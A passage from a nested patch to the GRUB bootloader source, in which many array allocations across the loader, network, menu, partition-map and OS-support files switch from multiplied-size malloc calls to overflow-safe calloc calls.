- err = gcry_error_from_errno (errno);
-diff --git a/grub-core/lib/libgcrypt/cipher/primegen.c b/grub-core/lib/libgcrypt/cipher/primegen.c
-index 2788e34..b12e79b 100644
---- a/grub-core/lib/libgcrypt/cipher/primegen.c
-+++ b/grub-core/lib/libgcrypt/cipher/primegen.c
-@@ -383,7 +383,7 @@ prime_generate_internal (int need_q_factor,
- }
-
- /* Allocate an array to track pool usage. */
-- pool_in_use = gcry_malloc (n * sizeof *pool_in_use);
-+ pool_in_use = gcry_calloc (n, sizeof *pool_in_use);
- if (!pool_in_use)
- {
- err = gpg_err_code_from_errno (errno);
-@@ -765,7 +765,7 @@ gen_prime (unsigned int nbits, int secret, int randomlevel,
- if (nbits < 16)
- log_fatal ("can't generate a prime with less than %d bits\n", 16);
-
-- mods = gcry_xmalloc( no_of_small_prime_numbers * sizeof *mods );
-+ mods = gcry_xcalloc( no_of_small_prime_numbers, sizeof *mods);
- /* Make nbits fit into gcry_mpi_t implementation. */
- val_2 = mpi_alloc_set_ui( 2 );
- val_3 = mpi_alloc_set_ui( 3);
-diff --git a/grub-core/lib/libgcrypt/cipher/pubkey.c b/grub-core/lib/libgcrypt/cipher/pubkey.c
-index 9109821..ca087ad 100644
---- a/grub-core/lib/libgcrypt/cipher/pubkey.c
-+++ b/grub-core/lib/libgcrypt/cipher/pubkey.c
-@@ -2941,7 +2941,7 @@ gcry_pk_encrypt (gcry_sexp_t *r_ciph, gcry_sexp_t s_data, gcry_sexp_t s_pkey)
- * array to a format string, so we have to do it this way :-(. */
- /* FIXME: There is now such a format specifier, so we can
- change the code to be more clear. */
-- arg_list = malloc (nelem * sizeof *arg_list);
-+ arg_list = calloc (nelem, sizeof *arg_list);
- if (!arg_list)
- {
- rc = gpg_err_code_from_syserror ();
-@@ -3233,7 +3233,7 @@ gcry_pk_sign (gcry_sexp_t *r_sig, gcry_sexp_t s_hash, gcry_sexp_t s_skey)
- }
- strcpy (p, "))");
-
-- arg_list = malloc (nelem * sizeof *arg_list);
-+ arg_list = calloc (nelem, sizeof *arg_list);
- if (!arg_list)
- {
- rc = gpg_err_code_from_syserror ();
-diff --git a/grub-core/lib/priority_queue.c b/grub-core/lib/priority_queue.c
-index 659be0b..7d5e7c0 100644
---- a/grub-core/lib/priority_queue.c
-+++ b/grub-core/lib/priority_queue.c
-@@ -92,7 +92,7 @@ grub_priority_queue_new (grub_size_t elsize,
- {
- struct grub_priority_queue *ret;
- void *els;
-- els = grub_malloc (elsize * 8);
-+ els = grub_calloc (8, elsize);
- if (!els)
- return 0;
- ret = (struct grub_priority_queue *) grub_malloc (sizeof (*ret));
-diff --git a/grub-core/lib/reed_solomon.c b/grub-core/lib/reed_solomon.c
-index ee9fa7b..467305b 100644
---- a/grub-core/lib/reed_solomon.c
-+++ b/grub-core/lib/reed_solomon.c
-@@ -20,6 +20,7 @@
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
-+#define xcalloc calloc
- #define xmalloc malloc
- #define grub_memset memset
- #define grub_memcpy memcpy
-@@ -158,11 +159,9 @@ rs_encode (gf_single_t *data, grub_size_t s, grub_size_t rs)
- gf_single_t *rs_polynomial;
- int i, j;
- gf_single_t *m;
-- m = xmalloc ((s + rs) * sizeof (gf_single_t));
-+ m = xcalloc (s + rs, sizeof (gf_single_t));
- grub_memcpy (m, data, s * sizeof (gf_single_t));
-- grub_memset (m + s, 0, rs * sizeof (gf_single_t));
-- rs_polynomial = xmalloc ((rs + 1) * sizeof (gf_single_t));
-- grub_memset (rs_polynomial, 0, (rs + 1) * sizeof (gf_single_t));
-+ rs_polynomial = xcalloc (rs + 1, sizeof (gf_single_t));
- rs_polynomial[rs] = 1;
- /* Multiply with X - a^r */
- for (j = 0; j < rs; j++)
-diff --git a/grub-core/lib/relocator.c b/grub-core/lib/relocator.c
-index ea3ebc7..5847aac 100644
---- a/grub-core/lib/relocator.c
-+++ b/grub-core/lib/relocator.c
-@@ -495,9 +495,9 @@ malloc_in_range (struct grub_relocator *rel,
- }
- #endif
-
-- eventt = grub_malloc (maxevents * sizeof (events[0]));
-+ eventt = grub_calloc (maxevents, sizeof (events[0]));
- counter = grub_malloc ((DIGITSORT_MASK + 2) * sizeof (counter[0]));
-- events = grub_malloc (maxevents * sizeof (events[0]));
-+ events = grub_calloc (maxevents, sizeof (events[0]));
- if (!events || !eventt || !counter)
- {
- grub_dprintf ("relocator", "events or counter allocation failed %d\n",
-@@ -963,7 +963,7 @@ malloc_in_range (struct grub_relocator *rel,
- #endif
- unsigned cural = 0;
- int oom = 0;
-- res->subchunks = grub_malloc (sizeof (res->subchunks[0]) * nallocs);
-+ res->subchunks = grub_calloc (nallocs, sizeof (res->subchunks[0]));
- if (!res->subchunks)
- oom = 1;
- res->nsubchunks = nallocs;
-@@ -1562,8 +1562,8 @@ grub_relocator_prepare_relocs (struct grub_relocator *rel, grub_addr_t addr,
- count[(chunk->src & 0xff) + 1]++;
- }
- }
-- from = grub_malloc (nchunks * sizeof (sorted[0]));
-- to = grub_malloc (nchunks * sizeof (sorted[0]));
-+ from = grub_calloc (nchunks, sizeof (sorted[0]));
-+ to = grub_calloc (nchunks, sizeof (sorted[0]));
- if (!from || !to)
- {
- grub_free (from);
-diff --git a/grub-core/lib/zstd/fse_decompress.c b/grub-core/lib/zstd/fse_decompress.c
-index 72bbead..2227b84 100644
---- a/grub-core/lib/zstd/fse_decompress.c
-+++ b/grub-core/lib/zstd/fse_decompress.c
-@@ -82,7 +82,7 @@
- FSE_DTable* FSE_createDTable (unsigned tableLog)
- {
- if (tableLog > FSE_TABLELOG_ABSOLUTE_MAX) tableLog = FSE_TABLELOG_ABSOLUTE_MAX;
-- return (FSE_DTable*)malloc( FSE_DTABLE_SIZE_U32(tableLog) * sizeof (U32) );
-+ return (FSE_DTable*)calloc( FSE_DTABLE_SIZE_U32(tableLog), sizeof (U32) );
- }
-
- void FSE_freeDTable (FSE_DTable* dt)
-diff --git a/grub-core/loader/arm/linux.c b/grub-core/loader/arm/linux.c
-index 5168491..d70c174 100644
---- a/grub-core/loader/arm/linux.c
-+++ b/grub-core/loader/arm/linux.c
-@@ -78,7 +78,7 @@ linux_prepare_atag (void *target_atag)
-
- /* some place for cmdline, initrd and terminator. */
- tmp_size = get_atag_size (atag_orig) + 20 + (arg_size) / 4;
-- tmp_atag = grub_malloc (tmp_size * sizeof (grub_uint32_t));
-+ tmp_atag = grub_calloc (tmp_size, sizeof (grub_uint32_t));
- if (!tmp_atag)
- return grub_errno;
-
-diff --git a/grub-core/loader/efi/chainloader.c b/grub-core/loader/efi/chainloader.c
-index cd92ea3..daf8c6b 100644
---- a/grub-core/loader/efi/chainloader.c
-+++ b/grub-core/loader/efi/chainloader.c
-@@ -116,7 +116,7 @@ copy_file_path (grub_efi_file_path_device_path_t *fp,
- fp->header.type = GRUB_EFI_MEDIA_DEVICE_PATH_TYPE;
- fp->header.subtype = GRUB_EFI_FILE_PATH_DEVICE_PATH_SUBTYPE;
-
-- path_name = grub_malloc (len * GRUB_MAX_UTF16_PER_UTF8 * sizeof (*path_name));
-+ path_name = grub_calloc (len, GRUB_MAX_UTF16_PER_UTF8 * sizeof (*path_name));
- if (!path_name)
- return;
-
-diff --git a/grub-core/loader/i386/bsdXX.c b/grub-core/loader/i386/bsdXX.c
-index af6741d..a8d8bf7 100644
---- a/grub-core/loader/i386/bsdXX.c
-+++ b/grub-core/loader/i386/bsdXX.c
-@@ -48,7 +48,7 @@ read_headers (grub_file_t file, const char *filename, Elf_Ehdr *e, char **shdr)
- if (e->e_ident[EI_CLASS] != SUFFIX (ELFCLASS))
- return grub_error (GRUB_ERR_BAD_OS, N_("invalid arch-dependent ELF magic"));
-
-- *shdr = grub_malloc ((grub_uint32_t) e->e_shnum * e->e_shentsize);
-+ *shdr = grub_calloc (e->e_shnum, e->e_shentsize);
- if (! *shdr)
- return grub_errno;
-
-diff --git a/grub-core/loader/i386/xnu.c b/grub-core/loader/i386/xnu.c
-index e64ed08..b7d176b 100644
---- a/grub-core/loader/i386/xnu.c
-+++ b/grub-core/loader/i386/xnu.c
-@@ -295,7 +295,7 @@ grub_xnu_devprop_add_property_utf8 (struct grub_xnu_devprop_device_descriptor *d
- return grub_errno;
-
- len = grub_strlen (name);
-- utf16 = grub_malloc (sizeof (grub_uint16_t) * len);
-+ utf16 = grub_calloc (len, sizeof (grub_uint16_t));
- if (!utf16)
- {
- grub_free (utf8);
-@@ -331,7 +331,7 @@ grub_xnu_devprop_add_property_utf16 (struct grub_xnu_devprop_device_descriptor *
- grub_uint16_t *utf16;
- grub_err_t err;
-
-- utf16 = grub_malloc (sizeof (grub_uint16_t) * namelen);
-+ utf16 = grub_calloc (namelen, sizeof (grub_uint16_t));
- if (!utf16)
- return grub_errno;
- grub_memcpy (utf16, name, sizeof (grub_uint16_t) * namelen);
-diff --git a/grub-core/loader/macho.c b/grub-core/loader/macho.c
-index 085f9c6..05710c4 100644
---- a/grub-core/loader/macho.c
-+++ b/grub-core/loader/macho.c
-@@ -97,7 +97,7 @@ grub_macho_file (grub_file_t file, const char *filename, int is_64bit)
- if (grub_file_seek (macho->file, sizeof (struct grub_macho_fat_header))
- == (grub_off_t) -1)
- goto fail;
-- archs = grub_malloc (sizeof (struct grub_macho_fat_arch) * narchs);
-+ archs = grub_calloc (narchs, sizeof (struct grub_macho_fat_arch));
- if (!archs)
- goto fail;
- if (grub_file_read (macho->file, archs,
-diff --git a/grub-core/loader/multiboot_elfxx.c b/grub-core/loader/multiboot_elfxx.c
-index 70cd1db..cc68536 100644
---- a/grub-core/loader/multiboot_elfxx.c
-+++ b/grub-core/loader/multiboot_elfxx.c
-@@ -217,7 +217,7 @@ CONCAT(grub_multiboot_load_elf, XX) (mbi_load_data_t *mld)
- {
- grub_uint8_t *shdr, *shdrptr;
-
-- shdr = grub_malloc ((grub_uint32_t) ehdr->e_shnum * ehdr->e_shentsize);
-+ shdr = grub_calloc (ehdr->e_shnum, ehdr->e_shentsize);
- if (!shdr)
- return grub_errno;
-
-diff --git a/grub-core/loader/xnu.c b/grub-core/loader/xnu.c
-index 7f74d1d..77d7060 100644
---- a/grub-core/loader/xnu.c
-+++ b/grub-core/loader/xnu.c
-@@ -800,7 +800,7 @@ grub_cmd_xnu_mkext (grub_command_t cmd __attribute__ ((unused)),
- if (grub_be_to_cpu32 (head.magic) == GRUB_MACHO_FAT_MAGIC)
- {
- narchs = grub_be_to_cpu32 (head.nfat_arch);
-- archs = grub_malloc (sizeof (struct grub_macho_fat_arch) * narchs);
-+ archs = grub_calloc (narchs, sizeof (struct grub_macho_fat_arch));
- if (! archs)
- {
- grub_file_close (file);
-diff --git a/grub-core/mmap/mmap.c b/grub-core/mmap/mmap.c
-index 6a31cba..57b4e9a 100644
---- a/grub-core/mmap/mmap.c
-+++ b/grub-core/mmap/mmap.c
-@@ -143,9 +143,9 @@ grub_mmap_iterate (grub_memory_hook_t hook, void *hook_data)
-
- /* Initialize variables. */
- ctx.scanline_events = (struct grub_mmap_scan *)
-- grub_malloc (sizeof (struct grub_mmap_scan) * 2 * mmap_num);
-+ grub_calloc (mmap_num, sizeof (struct grub_mmap_scan) * 2);
-
-- present = grub_zalloc (sizeof (present[0]) * current_priority);
-+ present = grub_calloc (current_priority, sizeof (present[0]));
-
- if (! ctx.scanline_events || !present)
- {
-diff --git a/grub-core/net/bootp.c b/grub-core/net/bootp.c
-index 04cfbb0..6539572 100644
---- a/grub-core/net/bootp.c
-+++ b/grub-core/net/bootp.c
-@@ -766,7 +766,7 @@ grub_cmd_bootp (struct grub_command *cmd __attribute__ ((unused)),
- if (ncards == 0)
- return grub_error (GRUB_ERR_NET_NO_CARD, N_("no network card found"));
-
-- ifaces = grub_zalloc (ncards * sizeof (ifaces[0]));
-+ ifaces = grub_calloc (ncards, sizeof (ifaces[0]));
- if (!ifaces)
- return grub_errno;
-
-diff --git a/grub-core/net/dns.c b/grub-core/net/dns.c
-index 5d9afe0..e332d5e 100644
---- a/grub-core/net/dns.c
-+++ b/grub-core/net/dns.c
-@@ -285,8 +285,8 @@ recv_hook (grub_net_udp_socket_t sock __attribute__ ((unused)),
- ptr++;
- ptr += 4;
- }
-- *data->addresses = grub_malloc (sizeof ((*data->addresses)[0])
-- * grub_be_to_cpu16 (head->ancount));
-+ *data->addresses = grub_calloc (grub_be_to_cpu16 (head->ancount),
-+ sizeof ((*data->addresses)[0]));
- if (!*data->addresses)
- {
- grub_errno = GRUB_ERR_NONE;
-@@ -406,8 +406,8 @@ recv_hook (grub_net_udp_socket_t sock __attribute__ ((unused)),
- dns_cache[h].addresses = 0;
- dns_cache[h].name = grub_strdup (data->oname);
- dns_cache[h].naddresses = *data->naddresses;
-- dns_cache[h].addresses = grub_malloc (*data->naddresses
-- * sizeof (dns_cache[h].addresses[0]));
-+ dns_cache[h].addresses = grub_calloc (*data->naddresses,
-+ sizeof (dns_cache[h].addresses[0]));
- dns_cache[h].limit_time = grub_get_time_ms () + 1000 * ttl_all;
- if (!dns_cache[h].addresses || !dns_cache[h].name)
- {
-@@ -479,7 +479,7 @@ grub_net_dns_lookup (const char *name,
- }
- }
-
-- sockets = grub_malloc (sizeof (sockets[0]) * n_servers);
-+ sockets = grub_calloc (n_servers, sizeof (sockets[0]));
- if (!sockets)
- return grub_errno;
-
-diff --git a/grub-core/net/net.c b/grub-core/net/net.c
-index d5d726a..38f19df 100644
---- a/grub-core/net/net.c
-+++ b/grub-core/net/net.c
-@@ -333,8 +333,8 @@ grub_cmd_ipv6_autoconf (struct grub_command *cmd __attribute__ ((unused)),
- ncards++;
- }
-
-- ifaces = grub_zalloc (ncards * sizeof (ifaces[0]));
-- slaacs = grub_zalloc (ncards * sizeof (slaacs[0]));
-+ ifaces = grub_calloc (ncards, sizeof (ifaces[0]));
-+ slaacs = grub_calloc (ncards, sizeof (slaacs[0]));
- if (!ifaces || !slaacs)
- {
- grub_free (ifaces);
-diff --git a/grub-core/normal/charset.c b/grub-core/normal/charset.c
-index b0ab47d..d57fb72 100644
---- a/grub-core/normal/charset.c
-+++ b/grub-core/normal/charset.c
-@@ -203,7 +203,7 @@ grub_utf8_to_ucs4_alloc (const char *msg, grub_uint32_t **unicode_msg,
- {
- grub_size_t msg_len = grub_strlen (msg);
-
-- *unicode_msg = grub_malloc (msg_len * sizeof (grub_uint32_t));
-+ *unicode_msg = grub_calloc (msg_len, sizeof (grub_uint32_t));
-
- if (!*unicode_msg)
- return -1;
-@@ -488,7 +488,7 @@ grub_unicode_aglomerate_comb (const grub_uint32_t *in, grub_size_t inlen,
- }
- else
- {
-- n = grub_malloc (sizeof (n[0]) * (out->ncomb + 1));
-+ n = grub_calloc (out->ncomb + 1, sizeof (n[0]));
- if (!n)
- {
- grub_errno = GRUB_ERR_NONE;
-@@ -842,7 +842,7 @@ grub_bidi_line_logical_to_visual (const grub_uint32_t *logical,
- } \
- }
-
-- visual = grub_malloc (sizeof (visual[0]) * logical_len);
-+ visual = grub_calloc (logical_len, sizeof (visual[0]));
- if (!visual)
- return -1;
-
-@@ -1165,8 +1165,8 @@ grub_bidi_logical_to_visual (const grub_uint32_t *logical,
- {
- const grub_uint32_t *line_start = logical, *ptr;
- struct grub_unicode_glyph *visual_ptr;
-- *visual_out = visual_ptr = grub_malloc (3 * sizeof (visual_ptr[0])
-- * (logical_len + 2));
-+ *visual_out = visual_ptr = grub_calloc (logical_len + 2,
-+ 3 * sizeof (visual_ptr[0]));
- if (!visual_ptr)
- return -1;
- for (ptr = logical; ptr <= logical + logical_len; ptr++)
-diff --git a/grub-core/normal/cmdline.c b/grub-core/normal/cmdline.c
-index c037d50..c57242e 100644
---- a/grub-core/normal/cmdline.c
-+++ b/grub-core/normal/cmdline.c
-@@ -41,7 +41,7 @@ grub_err_t
- grub_set_history (int newsize)
- {
- grub_uint32_t **old_hist_lines = hist_lines;
-- hist_lines = grub_malloc (sizeof (grub_uint32_t *) * newsize);
-+ hist_lines = grub_calloc (newsize, sizeof (grub_uint32_t *));
-
- /* Copy the old lines into the new buffer. */
- if (old_hist_lines)
-@@ -114,7 +114,7 @@ static void
- grub_history_set (int pos, grub_uint32_t *s, grub_size_t len)
- {
- grub_free (hist_lines[pos]);
-- hist_lines[pos] = grub_malloc ((len + 1) * sizeof (grub_uint32_t));
-+ hist_lines[pos] = grub_calloc (len + 1, sizeof (grub_uint32_t));
- if (!hist_lines[pos])
- {
- grub_print_error ();
-@@ -349,7 +349,7 @@ grub_cmdline_get (const char *prompt_translated)
- char *ret;
- unsigned nterms;
-
-- buf = grub_malloc (max_len * sizeof (grub_uint32_t));
-+ buf = grub_calloc (max_len, sizeof (grub_uint32_t));
- if (!buf)
- return 0;
-
-@@ -377,7 +377,7 @@ grub_cmdline_get (const char *prompt_translated)
- FOR_ACTIVE_TERM_OUTPUTS(cur)
- nterms++;
-
-- cl_terms = grub_malloc (sizeof (cl_terms[0]) * nterms);
-+ cl_terms = grub_calloc (nterms, sizeof (cl_terms[0]));
- if (!cl_terms)
- {
- grub_free (buf);
-@@ -385,7 +385,7 @@ grub_cmdline_get (const char *prompt_translated)
- }
- cl_term_cur = cl_terms;
-
-- unicode_msg = grub_malloc (msg_len * sizeof (grub_uint32_t));
-+ unicode_msg = grub_calloc (msg_len, sizeof (grub_uint32_t));
- if (!unicode_msg)
- {
- grub_free (buf);
-@@ -495,7 +495,7 @@ grub_cmdline_get (const char *prompt_translated)
- grub_uint32_t *insert;
-
- insertlen = grub_strlen (insertu8);
-- insert = grub_malloc ((insertlen + 1) * sizeof (grub_uint32_t));
-+ insert = grub_calloc (insertlen + 1, sizeof (grub_uint32_t));
- if (!insert)
- {
- grub_free (insertu8);
-@@ -602,7 +602,7 @@ grub_cmdline_get (const char *prompt_translated)
-
- grub_free (kill_buf);
-
-- kill_buf = grub_malloc ((n + 1) * sizeof(grub_uint32_t));
-+ kill_buf = grub_calloc (n + 1, sizeof (grub_uint32_t));
- if (grub_errno)
- {
- grub_print_error ();
-diff --git a/grub-core/normal/menu_entry.c b/grub-core/normal/menu_entry.c
-index cdf3590..1993995 100644
---- a/grub-core/normal/menu_entry.c
-+++ b/grub-core/normal/menu_entry.c
-@@ -95,8 +95,8 @@ init_line (struct screen *screen, struct line *linep)
- {
- linep->len = 0;
- linep->max_len = 80;
-- linep->buf = grub_malloc ((linep->max_len + 1) * sizeof (linep->buf[0]));
-- linep->pos = grub_zalloc (screen->nterms * sizeof (linep->pos[0]));
-+ linep->buf = grub_calloc (linep->max_len + 1, sizeof (linep->buf[0]));
-+ linep->pos = grub_calloc (screen->nterms, sizeof (linep->pos[0]));
- if (! linep->buf || !linep->pos)
- {
- grub_free (linep->buf);
-@@ -287,7 +287,7 @@ update_screen (struct screen *screen, struct per_term_screen *term_screen,
- pos = linep->pos + (term_screen - screen->terms);
-
- if (!*pos)
-- *pos = grub_zalloc ((linep->len + 1) * sizeof (**pos));
-+ *pos = grub_calloc (linep->len + 1, sizeof (**pos));
-
- if (i == region_start || linep == screen->lines + screen->line
- || (i > region_start && mode == ALL_LINES))
-@@ -471,7 +471,7 @@ insert_string (struct screen *screen, const char *s, int update)
-
- /* Insert the string. */
- current_linep = screen->lines + screen->line;
-- unicode_msg = grub_malloc ((p - s) * sizeof (grub_uint32_t));
-+ unicode_msg = grub_calloc (p - s, sizeof (grub_uint32_t));
-
- if (!unicode_msg)
- return 0;
-@@ -1023,7 +1023,7 @@ complete (struct screen *screen, int continuous, int update)
- if (completion_buffer.buf)
- {
- buflen = grub_strlen (completion_buffer.buf);
-- ucs4 = grub_malloc (sizeof (grub_uint32_t) * (buflen + 1));
-+ ucs4 = grub_calloc (buflen + 1, sizeof (grub_uint32_t));
-
- if (!ucs4)
- {
-@@ -1268,7 +1268,7 @@ grub_menu_entry_run (grub_menu_entry_t entry)
- for (i = 0; i < (unsigned) screen->num_lines; i++)
- {
- grub_free (screen->lines[i].pos);
-- screen->lines[i].pos = grub_zalloc (screen->nterms * sizeof (screen->lines[i].pos[0]));
-+ screen->lines[i].pos = grub_calloc (screen->nterms, sizeof (screen->lines[i].pos[0]));
- if (! screen->lines[i].pos)
- {
- grub_print_error ();
-@@ -1278,7 +1278,7 @@ grub_menu_entry_run (grub_menu_entry_t entry)
- }
- }
-
-- screen->terms = grub_zalloc (screen->nterms * sizeof (screen->terms[0]));
-+ screen->terms = grub_calloc (screen->nterms, sizeof (screen->terms[0]));
- if (!screen->terms)
- {
- grub_print_error ();
-diff --git a/grub-core/normal/menu_text.c b/grub-core/normal/menu_text.c
-index e22bb91..18240e7 100644
---- a/grub-core/normal/menu_text.c
-+++ b/grub-core/normal/menu_text.c
-@@ -78,7 +78,7 @@ grub_print_message_indented_real (const char *msg, int margin_left,
- grub_size_t msg_len = grub_strlen (msg) + 2;
- int ret = 0;
-
-- unicode_msg = grub_malloc (msg_len * sizeof (grub_uint32_t));
-+ unicode_msg = grub_calloc (msg_len, sizeof (grub_uint32_t));
-
- if (!unicode_msg)
- return 0;
-@@ -211,7 +211,7 @@ print_entry (int y, int highlight, grub_menu_entry_t entry,
-
- title = entry ? entry->title : "";
- title_len = grub_strlen (title);
-- unicode_title = grub_malloc (title_len * sizeof (*unicode_title));
-+ unicode_title = grub_calloc (title_len, sizeof (*unicode_title));
- if (! unicode_title)
- /* XXX How to show this error? */
- return;
-diff --git a/grub-core/normal/term.c b/grub-core/normal/term.c
-index a1e5c5a..cc8c173 100644
---- a/grub-core/normal/term.c
-+++ b/grub-core/normal/term.c
-@@ -264,7 +264,7 @@ grub_term_save_pos (void)
- FOR_ACTIVE_TERM_OUTPUTS(cur)
- cnt++;
-
-- ret = grub_malloc (cnt * sizeof (ret[0]));
-+ ret = grub_calloc (cnt, sizeof (ret[0]));
- if (!ret)
- return NULL;
-
-@@ -1013,7 +1013,7 @@ grub_xnputs (const char *str, grub_size_t msg_len)
-
- grub_error_push ();
-
-- unicode_str = grub_malloc (msg_len * sizeof (grub_uint32_t));
-+ unicode_str = grub_calloc (msg_len, sizeof (grub_uint32_t));
-
- grub_error_pop ();
-
-diff --git a/grub-core/osdep/linux/getroot.c b/grub-core/osdep/linux/getroot.c
-index 90d92d3..5b41ad0 100644
---- a/grub-core/osdep/linux/getroot.c
-+++ b/grub-core/osdep/linux/getroot.c
-@@ -168,7 +168,7 @@ grub_util_raid_getmembers (const char *name, int bootable)
- if (ret != 0)
- grub_util_error (_("ioctl GET_ARRAY_INFO error: %s"), strerror (errno));
-
-- devicelist = xmalloc ((info.nr_disks + 1) * sizeof (char *));
-+ devicelist = xcalloc (info.nr_disks + 1, sizeof (char *));
-
- for (i = 0, j = 0; j < info.nr_disks; i++)
- {
-@@ -241,7 +241,7 @@ grub_find_root_devices_from_btrfs (const char *dir)
- return NULL;
- }
-
-- ret = xmalloc ((fsi.num_devices + 1) * sizeof (ret[0]));
-+ ret = xcalloc (fsi.num_devices + 1, sizeof (ret[0]));
-
- for (i = 1; i <= fsi.max_id && j < fsi.num_devices; i++)
- {
-@@ -396,7 +396,7 @@ grub_find_root_devices_from_mountinfo (const char *dir, char **relroot)
- if (relroot)
- *relroot = NULL;
-
-- entries = xmalloc (entry_max * sizeof (*entries));
-+ entries = xcalloc (entry_max, sizeof (*entries));
-
- again:
- fp = grub_util_fopen ("/proc/self/mountinfo", "r");
-diff --git a/grub-core/osdep/unix/config.c b/grub-core/osdep/unix/config.c
-index 65effa9..7d63251 100644
---- a/grub-core/osdep/unix/config.c
-+++ b/grub-core/osdep/unix/config.c
-@@ -89,7 +89,7 @@ grub_util_load_config (struct grub_util_config *cfg)
- argv[0] = "sh";
- argv[1] = "-c";
-
-- script = xmalloc (4 * strlen (cfgfile) + 300);
-+ script = xcalloc (4, strlen (cfgfile) + 300);
-
- ptr = script;
- memcpy (ptr, ". '", 3);
-diff --git a/grub-core/osdep/windows/getroot.c b/grub-core/osdep/windows/getroot.c
-index 661d954..eada663 100644
---- a/grub-core/osdep/windows/getroot.c
-+++ b/grub-core/osdep/windows/getroot.c
-@@ -59,7 +59,7 @@ grub_get_mount_point (const TCHAR *path)
-
- for (ptr = path; *ptr; ptr++);
- allocsize = (ptr - path + 10) * 2;
-- out = xmalloc (allocsize * sizeof (out[0]));
-+ out = xcalloc (allocsize, sizeof (out[0]));
-
- /* When pointing to EFI system partition GetVolumePathName fails
- for ESP root and returns abberant information for everything
-diff --git a/grub-core/osdep/windows/hostdisk.c b/grub-core/osdep/windows/hostdisk.c
-index 3551007..0be3273 100644
---- a/grub-core/osdep/windows/hostdisk.c
-+++ b/grub-core/osdep/windows/hostdisk.c
-@@ -111,7 +111,7 @@ grub_util_get_windows_path_real (const char *path)
-
- while (1)
- {
-- fpa = xmalloc (alloc * sizeof (fpa[0]));
-+ fpa = xcalloc (alloc, sizeof (fpa[0]));
-
- len = GetFullPathName (tpath, alloc, fpa, NULL);
- if (len >= alloc)
-@@ -399,7 +399,7 @@ grub_util_fd_opendir (const char *name)
- for (l = 0; name_windows[l]; l++);
- for (l--; l >= 0 && (name_windows[l] == '\\' || name_windows[l] == '/'); l--);
- l++;
-- pattern = xmalloc ((l + 3) * sizeof (pattern[0]));
-+ pattern = xcalloc (l + 3, sizeof (pattern[0]));
- memcpy (pattern, name_windows, l * sizeof (pattern[0]));
- pattern[l] = '\\';
- pattern[l + 1] = '*';
-diff --git a/grub-core/osdep/windows/init.c b/grub-core/osdep/windows/init.c
-index e8ffd62..6297de6 100644
---- a/grub-core/osdep/windows/init.c
-+++ b/grub-core/osdep/windows/init.c
-@@ -161,7 +161,7 @@ grub_util_host_init (int *argc __attribute__ ((unused)),
- LPWSTR *targv;
-
- targv = CommandLineToArgvW (tcmdline, argc);
-- *argv = xmalloc ((*argc + 1) * sizeof (argv[0]));
-+ *argv = xcalloc (*argc + 1, sizeof (argv[0]));
-
- for (i = 0; i < *argc; i++)
- (*argv)[i] = grub_util_tchar_to_utf8 (targv[i]);
-diff --git a/grub-core/osdep/windows/platform.c b/grub-core/osdep/windows/platform.c
-index 7eb53fe..1ef86bf 100644
---- a/grub-core/osdep/windows/platform.c
-+++ b/grub-core/osdep/windows/platform.c
-@@ -225,8 +225,8 @@ grub_install_register_efi (grub_device_t efidir_grub_dev,
- grub_util_error ("%s", _("no EFI routines are available when running in BIOS mode"));
-
- distrib8_len = grub_strlen (efi_distributor);
-- distributor16 = xmalloc ((distrib8_len + 1) * GRUB_MAX_UTF16_PER_UTF8
-- * sizeof (grub_uint16_t));
-+ distributor16 = xcalloc (distrib8_len + 1,
-+ GRUB_MAX_UTF16_PER_UTF8 * sizeof (grub_uint16_t));
- distrib16_len = grub_utf8_to_utf16 (distributor16, distrib8_len * GRUB_MAX_UTF16_PER_UTF8,
- (const grub_uint8_t *) efi_distributor,
- distrib8_len, 0);
-diff --git a/grub-core/osdep/windows/relpath.c b/grub-core/osdep/windows/relpath.c
-index cb08617..478e8ef 100644
---- a/grub-core/osdep/windows/relpath.c
-+++ b/grub-core/osdep/windows/relpath.c
-@@ -72,7 +72,7 @@ grub_make_system_path_relative_to_its_root (const char *path)
- if (dirwindows[0] && dirwindows[1] == ':')
- offset = 2;
- }
-- ret = xmalloc (sizeof (ret[0]) * (flen - offset + 2));
-+ ret = xcalloc (flen - offset + 2, sizeof (ret[0]));
- if (dirwindows[offset] != '\\'
- && dirwindows[offset] != '/'
- && dirwindows[offset])
-diff --git a/grub-core/partmap/gpt.c b/grub-core/partmap/gpt.c
-index 103f679..72a2e37 100644
---- a/grub-core/partmap/gpt.c
-+++ b/grub-core/partmap/gpt.c
-@@ -199,7 +199,7 @@ gpt_partition_map_embed (struct grub_disk *disk, unsigned int *nsectors,
- *nsectors = ctx.len;
- if (*nsectors > max_nsectors)
- *nsectors = max_nsectors;
-- *sectors = grub_malloc (*nsectors * sizeof (**sectors));
-+ *sectors = grub_calloc (*nsectors, sizeof (**sectors));
- if (!*sectors)
- return grub_errno;
- for (i = 0; i < *nsectors; i++)
-diff --git a/grub-core/partmap/msdos.c b/grub-core/partmap/msdos.c
-index 7b8e450..ee3f249 100644
---- a/grub-core/partmap/msdos.c
-+++ b/grub-core/partmap/msdos.c
-@@ -337,7 +337,7 @@ pc_partition_map_embed (struct grub_disk *disk, unsigned int *nsectors,
- avail_nsectors = *nsectors;
- if (*nsectors > max_nsectors)
- *nsectors = max_nsectors;
-- *sectors = grub_malloc (*nsectors * sizeof (**sectors));
-+ *sectors = grub_calloc (*nsectors, sizeof (**sectors));
- if (!*sectors)
- return grub_errno;
- for (i = 0; i < *nsectors; i++)
-diff --git a/grub-core/script/execute.c b/grub-core/script/execute.c
-index ee299fd..c8d6806 100644
---- a/grub-core/script/execute.c
-+++ b/grub-core/script/execute.c
-@@ -553,7 +553,7 @@ gettext_append (struct grub_script_argv *result, const char *orig_str)
- for (iptr = orig_str; *iptr; iptr++)
- if (*iptr == '$')
- dollar_cnt++;
-- ctx.allowed_strings = grub_malloc (sizeof (ctx.allowed_strings[0]) * dollar_cnt);
-+ ctx.allowed_strings = grub_calloc (dollar_cnt, sizeof (ctx.allowed_strings[0]));
-
- if (parse_string (orig_str, gettext_save_allow, &ctx, 0))
- goto fail;
-diff --git a/grub-core/tests/fake_input.c b/grub-core/tests/fake_input.c
-index 2d60852..b5eb516 100644
---- a/grub-core/tests/fake_input.c
-+++ b/grub-core/tests/fake_input.c
-@@ -49,7 +49,7 @@ grub_terminal_input_fake_sequence (int *seq_in, int nseq_in)
- saved = grub_term_inputs;
- if (seq)
- grub_free (seq);
-- seq = grub_malloc (nseq_in * sizeof (seq[0]));
-+ seq = grub_calloc (nseq_in, sizeof (seq[0]));
- if (!seq)
- return;
-
-diff --git a/grub-core/tests/video_checksum.c b/grub-core/tests/video_checksum.c
-index 74d5b65..44d0810 100644
